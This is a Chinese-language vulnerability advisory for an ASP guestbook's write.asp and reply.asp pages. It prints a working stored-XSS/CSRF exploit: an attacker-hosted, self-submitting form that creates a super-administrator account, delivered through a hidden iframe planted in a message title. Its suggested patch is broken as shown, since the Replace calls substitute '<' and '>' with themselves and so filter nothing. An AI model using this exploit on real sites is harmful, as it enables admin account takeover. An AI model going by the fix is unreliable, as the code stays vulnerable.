漏洞分析:write.asp    reply.asp
--------------------------------------------------------------------
由于留言标题直接插入更新语句,未进行任何过滤,导致XSS跨站漏洞

漏洞利用:

首先拥有一个自己可控的网站,然后构造表单:

<html>
<form method="post" action="http://www.baidu.com/admin/Admin_Admin.asp?" name="form1">
<input name="UserName" value="test">    <!--后台ID-->
<input name="Action" type="hidden" id="Action" value="SaveAdd">
<input name="AddUser" value="test">    <!--前台ID-->
<input type="password" name="Password" value="123456789">    <!--密码-->
<input type="password" name="PwdConfirm" value="123456789"> <!--重复密码-->
<input name="Purview_0" type="radio" value="1" onClick="PurviewDetail.style.display='none'" checked> <!--超级管理员权限-->
</form>
<script>
document.form1.submit();
</script>
</html>

将以上代码保存为1.asp(文件名随意),并将其上传到自己的可控网站下面,得到你自己的URL地址

在留言标题中插入:

<iframe src="http://www.baidu.com/1.asp" width=0 height=0></iframe>

此漏洞可触发当管理员查看留言内容时直接添加管理员

危险等级:高

修补:

分别在两个文件末尾的%>前添加代码

function check(s)
    s=Replace(s,"<","<")
    s=Replace(s,">",">")
    check=s
end function

搜索
    GuestTitle    = Trim(request("GuestTitle"))

替换为
    GuestTitle    = check(Trim(request("GuestTitle")))

保存即可